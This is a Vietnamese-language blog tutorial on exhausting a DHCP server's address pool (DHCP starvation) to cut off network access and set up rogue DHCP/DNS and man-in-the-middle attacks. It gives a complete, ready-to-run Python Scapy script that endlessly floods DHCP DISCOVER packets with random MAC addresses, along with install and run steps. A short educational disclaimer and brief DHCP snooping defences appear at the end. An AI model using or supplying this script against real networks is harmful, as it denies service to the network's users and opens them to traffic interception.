Cách tấn công DoS DHCP Server bằng Python

DHCP là giao thức cấp IP động cho các thiết bị trong hê thống mạng, ví dụ khi điện thoại, máy tính kết nối Wifi, thiết bị sẽ được cấp 1 IP dung để giao tiếp với các thiết bị khác. IP đó được cấp bởi máy chủ DHCP trong hệ thống mạng của bạn. Vậy chúng ta hãy nghỉ thử xem, điều gì sẽ xảy ra khi các hacker ngăn chặn và tấn công máy chủ DHCP ? Đương nhiên sẽ không có kết nối mạng cũng như là Internet. Chúng ta thường gọi kiểu tấn công này là DoS (Từ chối dịch vụ). Theo như mình thấy thì mỗi máy chủ DHCP có số lượng địa chỉ IP được xác định chính xác có thể cung cấp cho các thiết bị. Vậy thì chúng ta sẽ đi tìm hiểu qua về kiểu tấn công máy chủ DHCP nha !

Lưu ý: Bài viết này chỉ dành cho mục đích giáo dục, vui lòng các bạn không nên thực hiện những hành vi xấu liên quan đến pháp luật. Anonyviet sẽ không chịu trách nhiệm bất cứ hành vi bất hợp pháp !

DoS DHCP ATTACK 

Đây là một kiểu tấn công yêu cầu tất cả các địa chỉ IP bằng cách ghi đè một số lượng lớn địa chỉ MAC không có thật, máy chủ sẽ không có bất kì địa chỉ IP nào cho các thiết bị. Mình thấy cuộc tấn công này rất nguy hiểm, nó còn tạo cho hacker có cơ hội nắm bắt được các lưu lượng truy cập. Nếu hacker đã tấn công làm cho máy chủ DHCP ngừng hoạt động, lúc này hacker có thể tạo ra một máy chủ DHCP cho riêng mình. Cụ thể là các DNS giả mạo có thể đã được cung cấp cấu hình DHCP và sau đó hacker có thể xâm phạm bạn bất cứ lúc nào mà bạn không hề biết. Cuộc tấn công này kết hợp với các cuộc tấn công Man-In-The-Middle(Tấn Công Xen Giữa) thì cực kì nguy hiểm luôn.

Tấn công DoS máy chủ DHCP đơn giản bằng Python

Để thực hiện cuộc tấn công DoS này, bạn hãy mở terminal và nhập lệnh sau pip install scapy hoặc pip3 install scapy sau đó tạo một file có phần mở rộng là .py rồi  copy đoạn code sau:

#!/usr/bin/env python3
from scapy.all import *

dhcp_attack = Ether(dst='ff:ff:ff:ff:ff:ff',src=RandMAC())  \
                     /IP(src='0.0.0.0',dst='255.255.255.255') \
                     /UDP(sport=68,dport=67) \
                     /BOOTP(op=1,chaddr = RandMAC()) \
                     /DHCP(options=[('message-type','discover'),('end')])

sendp(dhcp_attack,iface='wlan0',loop=1,verbose=1)

Ở đoạn code ngắn trên, mình đã gọi module scapy vừa tải về sau đó mình đã tạo một biến có tên là dhcpt_attack , trong biến đó mình đã thiết lập cho cuộc cấn tông bao gồm địa chỉ mac và ip giả tại EtherIP còn lại là mình đã thiết lập cổng và random địa chỉ mac sau đó là phần cài đặt gói gửi đến máy chủ DHCP. Tại dòng code cuối thì các bạn hãy điều chỉnh iface của các bạn vào nhé. Hiện tại mình đang dùng iface đang kết nối với mạng nhà mình là wlan0 nên mình sẽ đặt iface là wlan0. Còn iface của các bạn là gì thì hãy đặt vô nha

ddos dhcp server

Sau khi làm xong tất cả các bước trên. Bây giờ bạn chỉ cần mở terminal và trỏ đến file .py mà các bạn vừa tạo, ở đây mình đã đặt tên file là dhcp.py nên mình sẽ chạy lệnh sau để bắt đầu một cuộc tấn công DoS vào máy chủ DHCP python3 dhcp.py. Còn đây là kết quả của cuộc tấn công DoS DHCP nè

DoS DHCP bắt gói tin tấn công DoS

Các bạn có thể thấy trong ảnh đó, các gói tin của cuộc tấn công gửi đến máy chủ DHCP rất nhanh, khiến cho hệ thống chập chờn dẫn đến là mất kết nối internet. Thật là kinh đúng không nào !

Cách ngăn chặn tấn công DoS máy chủ DHCP

Để ngăn chặn các cuộc tấn công DoS vào máy chủ DHCP, hãy bật tính năng DHCP snooping trên thiết bị và sau đó đặt số lượng truy cập tối đa máy khách DHCP được phép trên thiết bị hoặc giao diện. Chỉ số lượng máy khách DHCP được phép mới có thể lấy địa chỉ IP thông qua thiết bị hoặc giao diện.

Bạn có thể bật thiết bị để kiểm tra xem địa chỉ MAC trong tiêu đề khung Ethernet có khớp với giá trị của trường CHADDR trong thông báo DHCP hay không. Nếu hai giá trị khớp nhau, tin nhắn sẽ được chuyển tiếp. Nếu không, tin nhắn sẽ bị hủy.

Vì vậy mình mong rằng bạn học được điều gì đó từ bài viết này và cũng mong rằng các bạn cũng không nên sử dụng vào các mục đích xấu từ cuộc tấn công DoS này he. Chúc các bạn có một ngày tốt lành và làm việc hiệu quả ! Bye Bye

Previous Post Next Post